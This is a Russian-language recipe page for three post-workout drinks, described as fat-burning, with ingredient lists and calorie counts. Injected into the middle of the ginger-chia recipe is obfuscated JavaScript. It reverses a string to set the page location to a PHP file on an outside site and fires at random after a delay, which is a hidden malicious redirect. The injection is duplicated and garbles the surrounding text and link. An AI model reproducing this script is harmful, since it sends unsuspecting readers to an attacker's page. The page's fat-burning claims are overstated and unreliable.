Рецептами этих освежающих коктейлей поделились звездные тренеры Карена Доун и Катрина Скотт. По мнению профи, они помогут восстановить потери жидкости после тренировки и ускорят сжигание жира!
Пряный лимонад с манго
Кайенский перец помогает повысить метаболизм, а кокосовое молоко восстанавливает уровень электролитов, упавший во время тренировки
- 320 мл кокосовой воды
- 1/2 чашки нарезанного манго
- сок 1 лимона
- 1/8 ч.л. кайенского перца
Взбейте в блендере кокосовое молоко, манго и лимонный сок до однородной массы. Приправьте кайнеским перцем. (102 калорий)
Имбирно-медовый напиток с чиа
Семена чиа могут ускорят сжигание жира на талии. Они также являются источником растительной клетчатки (5 г в 1 ст.л.), что убережет от перееданий.
- 1 ч.л. меда
- 1 чашка воды
- 1 ч.л. тертого имбиря
- сок 2 лаймов
- 1 ст.л. семян чиа
- свежая мята для подачи
Взбейте в блендере мед, воду, $mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-budet-proishodit-s-vashim-organizmom-esli-ezhednevno-upotreblyat-imbir/» target=»_blank» rel=»noopener»>имбирь, сок лайма, семена чиа. Охладите в течение 30 минут. Украсьте мятой по желанию. (98 калорий)
Грейпфрутово-базиликовый слэш
Исследования доказывают, что флавоноиды, содержащиеся в грейпфруте, действуют как естественные сжигатели жира.
- сок 1 среднего грейпфрута
- листья 1 ветки базилика, плюс еще немного для подачи
- 2 чашки льда
Взбейте в блендере сок, базилик и лед до получения однородной массы. Украсьте базиликом. (104 калории)
